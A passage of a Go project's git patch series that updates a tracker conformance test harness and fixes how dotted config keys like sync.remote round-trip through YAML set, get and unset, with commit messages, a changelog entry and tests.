assertUnchanged() }) t.Run("refusal_is_explicit_and_does_not_mutate", func(t *testing.T) { - s := newSetup(t) - before, writes := s.Store.Snapshot(), s.Store.MutationCount() + s, _ := newSetup(t) + assertUnchanged := noMutationCheck(t, ctx, s) _, err := s.Refusal(ctx) if err == nil { t.Fatal("refused operation succeeded") @@ -141,62 +185,75 @@ func Run(t *testing.T, build func(*testing.T, *Fixture) Setup) { if !errors.As(err, &refusal) { t.Fatalf("refusal is not typed: %v", err) } - if !reflect.DeepEqual(before, s.Store.Snapshot()) || writes != s.Store.MutationCount() { - t.Fatal("refusal changed local state") - } + assertUnchanged() }) t.Run("external_ref_resolution_prefers_issue_plane", func(t *testing.T) { - s := newSetup(t) - // The setup seeded Expected.ExternalRef on the issues plane. Put the - // SAME ref on the wisps plane — the state a push-then-pull produces - // once a wisp has been pushed under a ref the durable bead also - // carries — and give the wisp the ID that sorts first, so a resolver - // with no plane preference returns it. - var want string - for id, issue := range s.Store.Issues { - if issue.ExternalRef != nil && *issue.ExternalRef == s.Expected.ExternalRef { - want = id - break - } - } - if want == "" { - t.Fatalf("setup seeded no issues-plane row for %q", s.Expected.ExternalRef) - } - ref := s.Expected.ExternalRef - wispID := "aaa-wisp-" + want - s.Store.Wisps[wispID] = &types.Issue{ID: wispID, Title: "pushed wisp", Status: types.StatusOpen, IssueType: types.TypeTask, Priority: 2, Ephemeral: true, ExternalRef: &ref} - - got, err := s.Store.GetIssueByExternalRef(ctx, ref) + s, _ := newSetup(t) + want, onlyID, err := s.SeedExternalRefPlanes(ctx) if err != nil { - t.Fatalf("resolve %q: %v", ref, err) + t.Fatalf("seed external-ref planes: %v", err) + } + + snapshot, err := s.Snapshot(ctx) + if err != nil { + t.Fatalf("snapshot seeded planes: %v", err) + } + if issue, ok := snapshot.Issues[onlyID]; !ok || !issue.Ephemeral { + t.Fatalf("snapshot omitted seeded wisp %q: %+v", onlyID, snapshot.Issues) + } + + got, err := s.Store.GetIssueByExternalRef(ctx, s.Expected.ExternalRef) + if err != nil { + t.Fatalf("resolve %q: %v", s.Expected.ExternalRef, err) } // Resolving to the wisp would make the pull dedup update the ephemeral // row instead of the durable bead — a silent write to the wrong issue. if got == nil || got.ID != want { - t.Fatalf("external_ref %q resolved to %v, want issues-plane %q: the issues plane must win over the wisp plane", ref, got, want) + t.Fatalf("external_ref %q resolved to %v, want issues-plane %q: the issues plane must win over the wisp plane", s.Expected.ExternalRef, got, want) } - - // And the wisp plane is still reachable when the issues plane has no - // match, so plane preference did not become plane exclusion. - otherRef := ref + "-wisp-only" - onlyID := "wisp-only" - s.Store.Wisps[onlyID] = &types.Issue{ID: onlyID, Title: "wisp only", Status: types.StatusOpen, IssueType: types.TypeTask, Priority: 2, Ephemeral: true, ExternalRef: &otherRef} - got, err = s.Store.GetIssueByExternalRef(ctx, otherRef) + got, err = s.Store.GetIssueByExternalRef(ctx, s.Expected.ExternalRef+"-wisp-only") if err != nil || got == nil || got.ID != onlyID { - t.Fatalf("wisp-only external_ref %q resolved to (%v, %v), want %q", otherRef, got, err, onlyID) + t.Fatalf("wisp-only external_ref resolved to (%v, %v), want %q", got, err, onlyID) } }) - t.Run("api_only_does_not_open_uow", func(t *testing.T) { - fixture := &Fixture{HTTP: NewHTTPDouble(), StoreFactory: NewFactory()} - s := build(t, fixture) - before := fixture.StoreFactory.OpenCount() + // The API-only front door is handed a store opener it is free to ignore. + // This is a harness-contract check, not evidence that a real command skips + // persistence: today's adopters supply synthetic callbacks that never call + // open, so asserting the open count could not fail. The adapter child work + // that drives a real front door through open is what proves the boundary. + t.Run("api_only_completes_without_store", func(t *testing.T) { + s, fixture := newSetup(t) if err := s.APIOnly(ctx, fixture.StoreFactory.Open); err != nil { t.Fatalf("api-only: %v", err) } - if got := fixture.StoreFactory.OpenCount(); got != before { - t.Fatalf("api-only opened UOW: %d -> %d", before, got) - } }) } + +// noMutationCheck captures state and, where available, the write counter. +// Checking both catches idempotent writes that a state comparison cannot see. +func noMutationCheck(t *testing.T, ctx context.Context, s Setup) func() { + t.Helper() + before, err := s.Snapshot(ctx) + if err != nil { + t.Fatalf("snapshot before operation: %v", err) + } + writes := 0 + if s.MutationCount != nil { + writes = s.MutationCount() + } + return func() { + t.Helper() + after, err := s.Snapshot(ctx) + if err != nil { + t.Fatalf("snapshot after operation: %v", err) + } + if !reflect.DeepEqual(before, after) { + t.Fatal("operation changed local state") + } + if s.MutationCount != nil && writes != s.MutationCount() { + t.Fatal("operation issued local writes") + } + } +} diff --git a/internal/tracker/conformance/store.go b/internal/tracker/conformance/store.go index 99f47b0fc..1e494d4fd 100644 --- a/internal/tracker/conformance/store.go +++ b/internal/tracker/conformance/store.go @@ -2,6 +2,7 @@ package conformance import ( "context" + "sort" "strings" "sync" @@ -25,6 +26,7 @@ type Store struct { // search silently gets wrong. Empty unless a test seeds it, so every // other assertion is unaffected. Wisps map[string]*types.Issue + Deps map[string]map[string]struct{} LastSync string Mutations int @@ -34,10 +36,19 @@ type Store struct { func (s *Store) Snapshot() Snapshot { s.mu.Lock() defer s.mu.Unlock() - out := Snapshot{Issues: make(map[string]types.Issue, len(s.Issues)), Config: cloneMap(s.Config), Metadata: cloneMap(s.Metadata), LastSync: s.LastSync} + out := Snapshot{Issues: make(map[string]types.Issue, len(s.Issues)), Dependencies: make(map[string][]string, len(s.Deps)), Config: cloneMap(s.Config), Metadata: cloneMap(s.Metadata), LastSync: s.LastSync} for id, issue := range s.Issues { out.Issues[id] = *cloneIssue(issue) } + for id, issue := range s.Wisps { + out.Issues[id] = *cloneIssue(issue) + } + for id, targets := range s.Deps { + for target := range targets { + out.Dependencies[id] = append(out.Dependencies[id], target) + } + sort.Strings(out.Dependencies[id]) + } return out } @@ -54,14 +65,37 @@ func (s *Store) ApplyIssueUpdate(ctx context.Context, id string, updates map[str s.mu.Lock() defer s.mu.Unlock() if issue := s.Issues[id]; issue != nil && labels != nil { - issue.Labels = append([]string(nil), labels...) + issue.Labels = normalizedLabels(labels) } return nil } +// normalizedLabels mirrors the engine's normalizedStringSlice: trim, drop +// empty, dedupe, sort. The sort is not cosmetic — the fake is the oracle +// adapters are judged against, and both real backends read labels back +// ORDER BY label. Without it the first order-sensitive multi-label assertion +// would pass on the real legs and fail here, or vice versa. +func normalizedLabels(labels []string) []string { + seen := make(map[string]struct{}, len(labels)) + result := make([]string, 0, len(labels)) + for _, label := range labels { + label = strings.TrimSpace(label) + if label == "" { + continue + } + if _, ok := seen[label]; ok { + continue + } + seen[label] = struct{}{} + result = append(result, label) + } + sort.Strings(result) + return result +} + // NewStore returns an empty fake tracker store. func NewStore() *Store { - return &Store{Issues: map[string]*types.Issue{}, Wisps: map[string]*types.Issue{}, Config: map[string]string{}, Metadata: map[string]string{}} + return &Store{Issues: map[string]*types.Issue{}, Wisps: map[string]*types.Issue{}, Deps: map[string]map[string]struct{}{}, Config: map[string]string{}, Metadata: map[string]string{}} } // Open returns the store as a unit-of-work target. The call is intentionally @@ -180,13 +214,20 @@ func (s *Store) UpdateIssue(_ context.Context, id string, updates map[string]int if v, ok := updates["external_ref"].(string); ok { issue.ExternalRef = &v } + if v, ok := updates["status"].(string); ok { + issue.Status = types.Status(v) + } s.Mutations++ return nil } -// AddDependency is a no-op in the minimal fixture. -func (s *Store) AddDependency(context.Context, *types.Dependency, string) error { +// AddDependency stores the dependency relation in the minimal fixture. +func (s *Store) AddDependency(_ context.Context, dep *types.Dependency, _ string) error { s.mu.Lock() + if s.Deps[dep.IssueID] == nil { + s.Deps[dep.IssueID] = map[string]struct{}{} + } + s.Deps[dep.IssueID][dep.DependsOnID] = struct{}{} s.Mutations++ s.mu.Unlock() return nil diff --git a/internal/tracker/uow_store.go b/internal/tracker/uow_store.go index de99fc453..9e1b8da6d 100644 --- a/internal/tracker/uow_store.go +++ b/internal/tracker/uow_store.go @@ -157,7 +157,7 @@ func (s *uowStore) ApplyIssueUpdate(ctx context.Context, id string, updates map[ } var setLabels *[]string if labels != nil { - copy := append([]string(nil), labels...) + copy := normalizedStringSlice(labels) setLabels = © } return uow.RunTx(ctx, s.provider, func(ctx context.Context, uw uow.UnitOfWork) (string, error) { diff --git a/internal/tracker/uow_store_engine_test.go b/internal/tracker/uow_store_engine_test.go index 6377abafb..5773aff49 100644 --- a/internal/tracker/uow_store_engine_test.go +++ b/internal/tracker/uow_store_engine_test.go @@ -3,6 +3,7 @@ package tracker import ( "context" "errors" + "reflect" "sort" "testing" @@ -13,10 +14,11 @@ import ( ) type engineUOWState struct { - issues map[string]*types.Issue - wisps map[string]*types.Issue - configs map[string]string - commits int + issues map[string]*types.Issue + wisps map[string]*types.Issue + configs map[string]string + commits int + updateSpec domain.UpdateSpec // uows counts units of work handed out by the provider, so a test can pin // how many read transactions one logical lookup is allowed to span. uows int @@ -85,6 +87,7 @@ func (u *engineIssueUC) UpdateIssue(_ context.Context, id string, fields map[str return nil } func (u *engineIssueUC) ApplyUpdate(ctx context.Context, id string, spec domain.UpdateSpec, actor string) (*types.Issue, error) { + u.s.updateSpec = spec if err := u.UpdateIssue(ctx, id, spec.Fields, actor); err != nil { return nil, err } @@ -279,3 +282,30 @@ func TestUOWStoreGetIssueByExternalRefUsesOneReadTransaction(t *testing.T) { }) } } + +func TestUOWStoreApplyIssueUpdateNormalizesLabels(t *testing.T) { + for _, tc := range []struct { + name string + labels []string + want *[]string + }{ + {name: "normalize", labels: []string{" z ", " bug ", "", "bug", "z"}, want: &[]string{"bug", "z"}}, + {name: "omitted"}, + {name: "clear", labels: []string{}, want: &[]string{}}, + {name: "all_blank", labels: []string{" ", ""}, want: &[]string{}}, + } { + t.Run(tc.name, func(t *testing.T) { + state := &engineUOWState{issues: map[string]*types.Issue{"bd-1": {ID: "bd-1"}}} + st := NewUOWStore(&engineUOWProvider{state: state}).(IssueUpdater) + if err := st.ApplyIssueUpdate(context.Background(), "bd-1", nil, tc.labels, "test"); err != nil { + t.Fatal(err) + } + if !reflect.DeepEqual(state.updateSpec.SetLabels, tc.want) { + t.Fatalf("SetLabels = %v, want %v", state.updateSpec.SetLabels, tc.want) + } + if state.commits != 1 { + t.Fatalf("commits = %d, want 1", state.commits) + } + }) + } +} From 54c1300a180bedfa4bda13608f858ac9da0b7c84 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 23 Sep 2026 02:28:52 -0700 Subject: [PATCH 066/624] fix(config): dotted keys round-trip through SetYamlConfigInDir/UnsetYamlConfig (bd-zj95, 1.3.1) (#6574) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(config): make a dotted key round-trip through SetYamlConfigInDir (bd-zj95) SetYamlConfigInDir writes dotted keys; GetStringFromDir reads them by splitting on the dot and walking nested mappings; UnsetYamlConfig removes them. Those are three directions of ONE round-trip property, and set/get was broken in two ways, both reachable from ordinary files: - An empty or comment-only config.yaml has no mapping node, so the nested writer declined and the caller appended a literal 'dolt.host: ...' line — a key whose NAME contains a dot. Nothing that splits on the dot can ever find it. - A file that already carried such a flat key had it updated in place, which preserved the unreadable shape forever. So a caller could write a value and immediately be unable to read it back. Two consumers found it the hard way: bd's ownership handoff, whose commit write-set refused itself on dolt.auto-start, and a Gas City managed city, whose .beads/config.yaml is entirely flat dotted keys. Six shipped call sites write a dotted key through this path, and every one of them is a write into a .beads/config.yaml that may be empty or comment-only — exactly the shape that produced the unreadable spelling: cmd/bd/bootstrap.go:1108 sync.remote cmd/bd/dolt.go:481 sync.remote cmd/bd/init.go:3386, :3394 sync.remote cmd/bd/migrate_dolt_mode.go:810 dolt.shared-server cmd/bd/migrate_dolt_mode.go:1168 dolt.shared-server An empty document now gets a mapping made for it, and a flat key of the name being written is migrated to the nested form rather than updated in place. Only the key being written is touched: a dotted key this call does not own belongs to someone else and is left exactly as they wrote it. Table test over nine file shapes — absent, empty, comment-only, flat, flat commented, existing section, unrelated nested, unrelated flat, and mixed — each asserting both that every key reads back and that no unreadable flat spelling survives. (cherry picked from commit cbe9bd6ca03416a76441e560bdec9fa67add99c5) Co-Authored-By: Claude Fable 5.1 * fix(config): unset a dotted key in the shape the writer produces Writing a dotted key nested and then being unable to unset it is the same round-trip break in the other direction. Set, get and unset are three directions of ONE property, and all three have to agree on the shape: UnsetYamlConfig comments out the line matching the key, and its pattern only ever matched a FLAT 'sync.remote:' line. Once the writer nests, an unset silently does nothing and the value stays live — for sync.remote that means bd keeps a remote the operator asked it to forget. commentOutYamlKey now walks the nesting, tracking indentation per segment so a key is commented only when it sits under its OWN parents rather than under some other section sharing a leaf name. The flat spelling is still handled, because files written by older bds carry it. This is what closes the loop for the shipped unset paths — cmd/bd/config.go:578 ('bd config unset'), cmd/bd/dolt.go:1761 and cmd/bd/dolt_remote_proxied_server.go:34 — against the six writers the previous commit nests: sync.remote at cmd/bd/bootstrap.go:1108, cmd/bd/dolt.go:481 and cmd/bd/init.go:3386/:3394, and dolt.shared-server at cmd/bd/migrate_dolt_mode.go:810/:1168. TestFinalizeSyncedBootstrapWritesConfigFiles moves with it. It required a literal 'sync.remote: ' line — a key whose name contains a dot, the one shape GetStringFromDir and viper can never find, because both split on the dot and walk nested mappings. That assertion passed for exactly as long as the value was unreadable and failed the moment it became readable, so it now asserts what bootstrap actually owes its caller: a remote that reads back. (cherry picked from the internal/config half of commit 7f1ec4799a3e8af0a89b8f97c28ec30082fedbb7) Co-Authored-By: Claude Fable 5.1 * test(cmd/bd): assert the sync.remote round trip, not a YAML spelling Six cmd/bd test sites baked the flat spelling. They passed BECAUSE the bug was present, and that is the part worth recording. Viper finds a literal dotted key as well as a nested one; GetStringFromDir does not, because it splits on the dot and walks mappings. So these tests exercised config.yaml through ONE reader while the value was invisible to the other. They were green for exactly as long as the value was unreadable, and TestFinalizeSyncedBootstrapWritesConfigFiles failed on macOS and Linux CI the moment it became readable. A test that only passes while a bug is live does not merely fail to catch it — it defends it. bootstrap_guard_test.go:84 seed bootstrap_test.go:358, :410 seed bootstrap_test.go:1330 assert (accepted 'sync.remote: ' OR 'sync-remote: ', neither readable) dolt_worktree_remote_test.go:55 assert init_remote_test.go:128 seed All six now assert the round trip through GetStringFromDir, or the caller's own observable, rather than any YAML text — flat or nested. Asserting the nested spelling instead would have been the same mistake facing the other way. The three seeds go through config.SetYamlConfigInDir, the real writer, via a shared seedSyncRemote helper that asserts the read-back. A fixture can no longer hand bd a config.yaml that bd itself would never have written. These are the tests standing over the shipped writers this series fixes: sync.remote at cmd/bd/bootstrap.go:1108, cmd/bd/dolt.go:481 and cmd/bd/init.go:3386/:3394, and dolt.shared-server at cmd/bd/migrate_dolt_mode.go:810/:1168. (cherry picked from commit b0df00b59d2d68ee5fee313c05dc2300ad66fcef) Co-Authored-By: Claude Fable 5.1 * fix(config): close the dotted-key round trip the rest of the way Review of the first three commits found the round trip still open in two places, both reachable from ordinary files. An empty or comment-only config.yaml parses to no YAML nodes at all, and yaml.v3 keeps no trace of its text either — not even the comments. The writer fabricated a mapping for that case and marshalled it, so the file it wrote back was the new key and nothing else. `bd init` writes a template that is comments and nothing else and then persists sync.remote into it, so every remote-connected init shipped a config.yaml with its whole documentation deleted. config.yaml is git-tracked: the operator sees that as a committed diff they did not make. Append the rendered key to the existing text instead, so nothing already in the file is parsed, re-emitted or reformatted, and it survives byte for byte. An unset comments the leaf out and leaves the section holding nothing — `sync:` and no more. A null is not a mapping, so the next set refused it, fell through to the flat writer, and put a literal `sync.remote:` back into the file: the unreadable shape, re-created one command after being fixed, with bd reporting success while GetStringFromDir saw nothing. A section with no value under it has nothing to lose, so treat it as the empty mapping it looks like. Two shapes that are genuinely unwritable now say so instead of writing the flat key and claiming success: a parent that already holds a value (`sync: enabled`), and a file whose top level is not a mapping. Both returned nil and produced a value no reader could see. Unset also matched lines inside literal block scalars, so unsetting sync.remote rewrote text the operator had written under a `notes: |`. Skip a block scalar's body: it is data, not structure. Finally, drop normalizeYamlKey and its empty keyAliases map. It has been an identity function whose comment claimed it renamed keys. * docs(changelog): record the dotted config key fix under Unreleased It is the most user-visible fix on this branch and it was not in the changelog, so it would not have reached the release notes or `bd upgrade review`. * fix(config): preserve existing flat dotted keys (GH#6594) Keep literal dotted keys in their existing shape, align the direct reader with Viper precedence, and warn when both flat and nested spellings coexist. Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Rongjun GENG * fix(config): anchor the dotted unset walk to the key it was asked about Review fixes for PR #6574 (maintainer iteration 1). The new nested matcher in `commentOutYamlKey` anchored neither end of the walk, so `bd config unset ` commented out keys it does not own and could leave the named target live while reporting success — the silent divergence this PR exists to end. Two independent defects in one loop: segment 0 matched at any indent, so a `dolt:` section under an unrelated top-level key seeded the walk; and a key line merely deeper than the matched parent was stepped over rather than ending the match, so an interposed section was skipped instead of blocking descent. On sync: sub: remote: keep remote: target unsetting `sync.remote` cut `sync.sub.remote` and left `sync.remote` live. The walk now requires segment 0 at top level and every later segment to be a direct child, treating any other key line as an opaque subtree to step over. All four reviewer seeds are pinned in the unset table, which is generalized to carry the key under test and the keys that must survive — the old table could not express an over-match, since every case put the leaf one level under a top-level parent. Also, from the same review: - Unset refuses, instead of degrading silently, on the two shapes a line matcher cannot edit: a key inside a flow-style mapping (it no-opped with a success exit, leaving the value live) and a key whose value is a block scalar (the key line was commented and the body stayed behind, re-parsing as a value of the parent). A key that is not set is still a no-op. - Updating an existing flat dotted key rewrites that key's line instead of marshaling the whole document back, which dropped blank separators, re-indented nested blocks from two to four spaces and collapsed comment alignment — a whole-file diff in a git-tracked config.yaml from a one-key set. The line is swapped only when it is the entire entry, keeping the key's own text and quoting; anything else falls back to the marshal, so a quoted flat key still reads back. - The two negative `init` guards assert a read-back rather than the absence of the pre-PR spelling, which the writer no longer emits and which a real regression would therefore have sailed past. Refs: bd-zj95, GH#6594 Maintainer iteration 2 (both findings minor, non-gating; taken because each one falsified something this commit itself asserts): - The one-line rewrite kept every other line byte for byte but dropped the trailing comment on the line it touched — a regression against the PR head, whose node marshal carried LineComment through, in the branch whose whole point is leaving a shared config.yaml alone. The note is re-appended from the parsed comment matched back from the right of the line, so a `#` inside a quoted value is not mistaken for its start. yaml.v3 hangs that comment on the value node, not the key node as the review prescribed, except when the value is empty; both are consulted and both are pinned. The existing pin seeded its note on a bystander key and so could not see the loss; it is now on the key under test. - The unset refusal walked only the nested spelling, so a literal `dolt.host: |` still had its key line commented out and its body orphaned at the top level, leaving the whole file unparseable with a success exit — while the changelog sentence this commit added says that case reports an error. One lookup of the literal key closes the gap. The gate's doc comment no longer claims to cover the class; it is two known shapes, and it names the members still outside it. --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Rongjun GENG --- CHANGELOG.md | 33 + cmd/bd/bootstrap_guard_test.go | 8 +- cmd/bd/bootstrap_test.go | 22 +- cmd/bd/doctor/config_values.go | 57 ++ cmd/bd/doctor/config_values_test.go | 21 + cmd/bd/dolt_worktree_remote_test.go | 14 +- cmd/bd/init_embedded_test.go | 22 +- cmd/bd/init_remote_test.go | 56 +- cmd/bd/sync_remote_fixture_test.go | 48 ++ internal/config/config.go | 9 + internal/config/config_test.go | 30 + internal/config/yaml_config.go | 441 +++++++++-- internal/config/yaml_config_test.go | 25 +- internal/config/yaml_nested_roundtrip_test.go | 717 ++++++++++++++++++ 14 files changed, 1397 insertions(+), 106 deletions(-) create mode 100644 cmd/bd/sync_remote_fixture_test.go create mode 100644 internal/config/yaml_nested_roundtrip_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index a80acb144..9626c205d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -165,6 +165,39 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 checks in embedded, server, and proxied-server command paths; the legacy `:` await value remains accepted for compatibility. +### Fixed + +- **A dotted config key now round-trips: what `bd config set` writes, + `bd config get` and bd's own readers find** + ([#6574](https://github.com/gastownhall/beads/pull/6574), + [#6594](https://github.com/gastownhall/beads/issues/6594), bd-zj95). Setting a + key like `sync.remote` or `dolt.host` into a `config.yaml` with no matching + section appended a key whose *name* contained the dot — a top-level + `sync.remote: "..."` — instead of nesting it under `sync:`. Viper finds a key + spelled that way; the direct reader `GetStringFromDir` splits on the dot and + walks nested mappings, so it does not. The value was set and invisible at the + same time depending on which reader asked, and `bd init --remote` in a fresh + workspace was the ordinary way in: the remote was recorded and then not found. + New dotted keys are written nested now. An existing flat spelling is updated + in place for compatibility with other writers of the shared config file — + rewriting that one line and nothing else, the comment on it included — and + bd's direct reader recognizes both forms with the same precedence as Viper. + `bd doctor` warns when both forms coexist. `bd config unset` removes the + nested form — it only ever matched the flat spelling, so unsetting + `sync.remote` silently left the remote live. Keys the write does not own, + including dotted ones somebody else put there, are left exactly as they are. + + Four things that used to succeed now report an error instead, because each one + produced a value no reader could see, or claimed to remove a value it had + left live. On `bd config set`: a key under a parent that already holds a value + (`sync: enabled`, then `bd config set sync.remote`), and a key in a file whose + top level is not a mapping. On `bd config unset`: a key inside a flow-style + mapping (`sync: {remote: "..."}`), which bd matches by line and so cannot + edit, and a key whose value is a block scalar (`remote: |`, in either + spelling), where commenting the key out would leave the body behind as a value + of its own. Unsetting a key that is not set remains a successful no-op in + every shape. + ## [1.3.0] - 2026-09-15 The first tested release off `main` since the 1.1 line. [1.2.2] was a recovery diff --git a/cmd/bd/bootstrap_guard_test.go b/cmd/bd/bootstrap_guard_test.go index 6a3df5560..40df292a3 100644 --- a/cmd/bd/bootstrap_guard_test.go +++ b/cmd/bd/bootstrap_guard_test.go @@ -79,13 +79,7 @@ func TestIsGitCodeRepoURL(t *testing.T) { // Returns a cleanup function that resets config state. func setupSyncRemoteConfig(t *testing.T, beadsDir, remote string) func() { t.Helper() - if err := os.WriteFile( - filepath.Join(beadsDir, "config.yaml"), - []byte("sync.remote: "+remote+"\n"), - 0o644, - ); err != nil { - t.Fatalf("write config.yaml: %v", err) - } + seedSyncRemote(t, beadsDir, remote) config.ResetForTesting() t.Setenv("BEADS_DIR", beadsDir) t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") diff --git a/cmd/bd/bootstrap_test.go b/cmd/bd/bootstrap_test.go index a8d944165..c590f6d24 100644 --- a/cmd/bd/bootstrap_test.go +++ b/cmd/bd/bootstrap_test.go @@ -355,9 +355,7 @@ func TestDetectBootstrapAction_ExplicitSyncRemotePreservesRemotesAPIURL(t *testi t.Fatal(err) } const syncRemote = "http://myserver:7007/mydb" - if err := os.WriteFile(filepath.Join(beadsDir, "config.yaml"), []byte("sync.remote: "+syncRemote+"\n"), 0o644); err != nil { - t.Fatal(err) - } + seedSyncRemote(t, beadsDir, syncRemote) t.Setenv("BEADS_DIR", beadsDir) t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") if err := config.Initialize(); err != nil { @@ -407,9 +405,7 @@ func TestDetectBootstrapAction_ExistingEmbeddedDBWithSyncRemoteIsNoOp(t *testing t.Fatal(err) } const syncRemote = "http://myserver:7007/mydb" - if err := os.WriteFile(filepath.Join(beadsDir, "config.yaml"), []byte("sync.remote: "+syncRemote+"\n"), 0o644); err != nil { - t.Fatal(err) - } + seedSyncRemote(t, beadsDir, syncRemote) t.Setenv("BEADS_DIR", beadsDir) t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") if err := config.Initialize(); err != nil { @@ -1327,8 +1323,18 @@ func TestFinalizeSyncedBootstrapWritesConfigFiles(t *testing.T) { // sync.remote must be persisted so subsequent fresh clones (and // bootstrap retries) can rediscover the remote without re-probing // origin refs. - if !strings.Contains(yaml, "sync.remote: ") && !strings.Contains(yaml, "sync-remote: ") { - t.Errorf("config.yaml does not contain sync.remote entry:\n%s", yaml) + // + // Asserted by READING it back rather than by matching a spelling. This used + // to require a literal `sync.remote: ` line, which is a key whose name + // contains a dot — the shape config.GetStringFromDir and viper can never + // find, because both split on the dot and walk nested mappings. The writer + // now nests (bd-zj95), so the old assertion passed for exactly as long as + // the value was unreadable and failed the moment it became readable. What + // bootstrap owes its caller is a remote that can be read back, so that is + // what this checks. + if got := config.GetStringFromDir(beadsDir, "sync.remote"); got != syncRemote { + t.Errorf("config.GetStringFromDir(%q, \"sync.remote\") = %q, want %q:\n%s", + beadsDir, got, syncRemote, yaml) } if !strings.Contains(yaml, syncRemote) { t.Errorf("config.yaml does not contain sync remote URL %q:\n%s", syncRemote, yaml) diff --git a/cmd/bd/doctor/config_values.go b/cmd/bd/doctor/config_values.go index 2038dcc17..a7673de12 100644 --- a/cmd/bd/doctor/config_values.go +++ b/cmd/bd/doctor/config_values.go @@ -13,6 +13,7 @@ import ( "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/storage/dolt" + "gopkg.in/yaml.v3" ) // validRoutingModes are the allowed values for routing.mode @@ -188,6 +189,9 @@ func checkYAMLConfigValues(repoPath string) []string { issues = append(issues, fmt.Sprintf("config.yaml: failed to parse: %v", err)) return issues } + if data, err := os.ReadFile(configPath); err == nil { //nolint:gosec // resolved workspace config + issues = append(issues, findDualSpelledConfigKeys(data)...) + } // Validate issue-prefix (should be alphanumeric with dashes/underscores, reasonably short) if v.IsSet("issue-prefix") { @@ -296,6 +300,59 @@ func checkYAMLConfigValues(repoPath string) []string { return issues } +func findDualSpelledConfigKeys(data []byte) []string { + var root yaml.Node + if err := yaml.Unmarshal(data, &root); err != nil || len(root.Content) == 0 { + return nil + } + mapping := root.Content[0] + if mapping.Kind != yaml.MappingNode { + return nil + } + + var issues []string + for i := 0; i+1 < len(mapping.Content); i += 2 { + key := mapping.Content[i].Value + parts := strings.Split(key, ".") + if len(parts) < 2 || !yamlPathExists(mapping, parts) { + continue + } + issues = append(issues, fmt.Sprintf( + "config.yaml: %q is present in both flat and nested spelling; remove one spelling so all readers use the same value", + key, + )) + } + return issues +} + +func yamlPathExists(mapping *yaml.Node, parts []string) bool { + current := mapping + for i, part := range parts { + if current.Kind != yaml.MappingNode { + return false + } + idx := yamlMappingChild(current, part) + if idx == -1 { + return false + } + if i == len(parts)-1 { + return true + } + current = current.Content[idx+1] + } + return false +} + +func yamlMappingChild(mapping *yaml.Node, name string) int { + for i := 0; i+1 < len(mapping.Content); i += 2 { + key := mapping.Content[i] + if key.Kind == yaml.ScalarNode && key.Value == name { + return i + } + } + return -1 +} + // isValidBoolString checks if a string represents a valid boolean value func isValidBoolString(s string) bool { lower := strings.ToLower(strings.TrimSpace(s)) diff --git a/cmd/bd/doctor/config_values_test.go b/cmd/bd/doctor/config_values_test.go index 54c96e911..86030fa27 100644 --- a/cmd/bd/doctor/config_values_test.go +++ b/cmd/bd/doctor/config_values_test.go @@ -4,6 +4,7 @@ import ( "os" "os/exec" "path/filepath" + "strings" "testing" ) @@ -136,6 +137,26 @@ func TestCheckConfigValues(t *testing.T) { }) } +func TestCheckConfigValuesWarnsOnFlatAndNestedSpellings(t *testing.T) { + tmpDir := t.TempDir() + beadsDir := filepath.Join(tmpDir, ".beads") + if err := os.MkdirAll(beadsDir, 0o755); err != nil { + t.Fatalf("create .beads: %v", err) + } + configContent := "dolt.host: 127.0.0.1\ndolt:\n host: 10.0.0.1\n" + if err := os.WriteFile(filepath.Join(beadsDir, "config.yaml"), []byte(configContent), 0o644); err != nil { + t.Fatalf("write config.yaml: %v", err) + } + + check := CheckConfigValues(tmpDir) + if check.Status != StatusWarning { + t.Fatalf("expected warning, got %s: %s", check.Status, check.Detail) + } + if !strings.Contains(check.Detail, "dolt.host") || !strings.Contains(check.Detail, "flat and nested") { + t.Fatalf("warning does not identify the dual spelling: %s", check.Detail) + } +} + func TestCheckConfigValues_WorktreeFallbackUsesSharedConfig(t *testing.T) { mainRepoDir, worktreeDir := setupDoctorSharedWorktree(t) mainBeadsDir := filepath.Join(mainRepoDir, ".beads") diff --git a/cmd/bd/dolt_worktree_remote_test.go b/cmd/bd/dolt_worktree_remote_test.go index bbfc4efe8..e8f7eb36c 100644 --- a/cmd/bd/dolt_worktree_remote_test.go +++ b/cmd/bd/dolt_worktree_remote_test.go @@ -8,9 +8,9 @@ import ( "path/filepath" "runtime" "strconv" - "strings" "testing" + "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/testutil" ) @@ -53,13 +53,21 @@ func TestDoltRemoteAddPersistsSyncRemoteToSharedWorktreeConfig(t *testing.T) { t.Fatalf("bd dolt remote add from bare-parent worktree failed: %v\n%s", err, out) } + // Asserted by reading it back, not by matching YAML text. The literal + // `sync.remote: ""` this used to require is a key whose NAME contains + // a dot — the shape config.GetStringFromDir can never find, because it + // splits on the dot and walks nested mappings. Viper finds a dotted key + // either way, so this assertion was green while the value was invisible to + // bd's other reader; it passed BECAUSE bd-zj95 was present. What the remote + // add owes its caller is a remote that reads back, so that is what this + // checks. configPath := filepath.Join(bareBeadsDir, "config.yaml") content, err := os.ReadFile(configPath) if err != nil { t.Fatalf("failed to read shared config.yaml: %v", err) } - if !strings.Contains(string(content), `sync.remote: "`+remoteURL+`"`) { - t.Fatalf("expected shared config.yaml to contain sync.remote, got:\n%s", string(content)) + if got := config.GetStringFromDir(bareBeadsDir, "sync.remote"); got != remoteURL { + t.Fatalf("shared config.yaml sync.remote = %q, want %q; contents:\n%s", got, remoteURL, content) } if _, err := os.Stat(filepath.Join(worktreeDir, ".beads")); !os.IsNotExist(err) { diff --git a/cmd/bd/init_embedded_test.go b/cmd/bd/init_embedded_test.go index ee27208a0..942926755 100644 --- a/cmd/bd/init_embedded_test.go +++ b/cmd/bd/init_embedded_test.go @@ -16,6 +16,7 @@ import ( "testing" "time" + "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/storage/embeddeddolt" 